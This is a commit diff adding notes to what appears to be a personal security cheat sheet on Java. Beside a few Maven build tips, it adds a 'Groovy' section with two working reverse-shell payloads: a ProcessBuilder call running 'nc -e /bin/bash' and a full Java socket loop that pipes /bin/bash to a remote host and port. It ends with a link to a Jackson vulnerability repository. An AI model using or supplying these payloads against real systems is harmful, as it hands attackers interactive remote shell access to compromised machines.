add a few more java notes

Author: proditis

_programming/JAVA.md

@@ -1,7 +1,7 @@
 ---
 ---
 
-# JAVA related
+# JAVA Related Tips and Tricks
 ---
 date: 18/01/2025
 ---
@@ -12,3 +12,40 @@ date: 18/01/2025
 * Building without `-Dmaven.test.skip=true`
 * Jar files are usually under `./target` folder of the project (prefer the generated `*jar-with-dependencies.jar`)
 * For projects with submodules look for `target/` folder under each of them
+
+# Groovy
+
+## Reverse Shell
+
+### with netcat
+```java
+new ProcessBuilder("nc","-e","/bin/bash","localhost","1234").start()
+```
+
+### without netcat
+```java
+String host="localhost";
+int port=1445;
+String cmd="/bin/bash";
+Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
+Socket s=new Socket(host,port);
+InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
+OutputStream po=p.getOutputStream(),so=s.getOutputStream();
+while(!s.isClosed()) {
+  while(pi.available()>0) so.write(pi.read());
+  while(pe.available()>0) so.write(pe.read());
+  while(si.available()>0) po.write(si.read());
+  so.flush();
+  po.flush();
+  Thread.sleep(50);
+  try {p.exitValue();
+    break;
+  }
+  catch (Exception e){}
+};
+p.destroy();
+s.close();
+```
+
+
+https://github.com/lorenzodegiorgi/jackson-vulnerability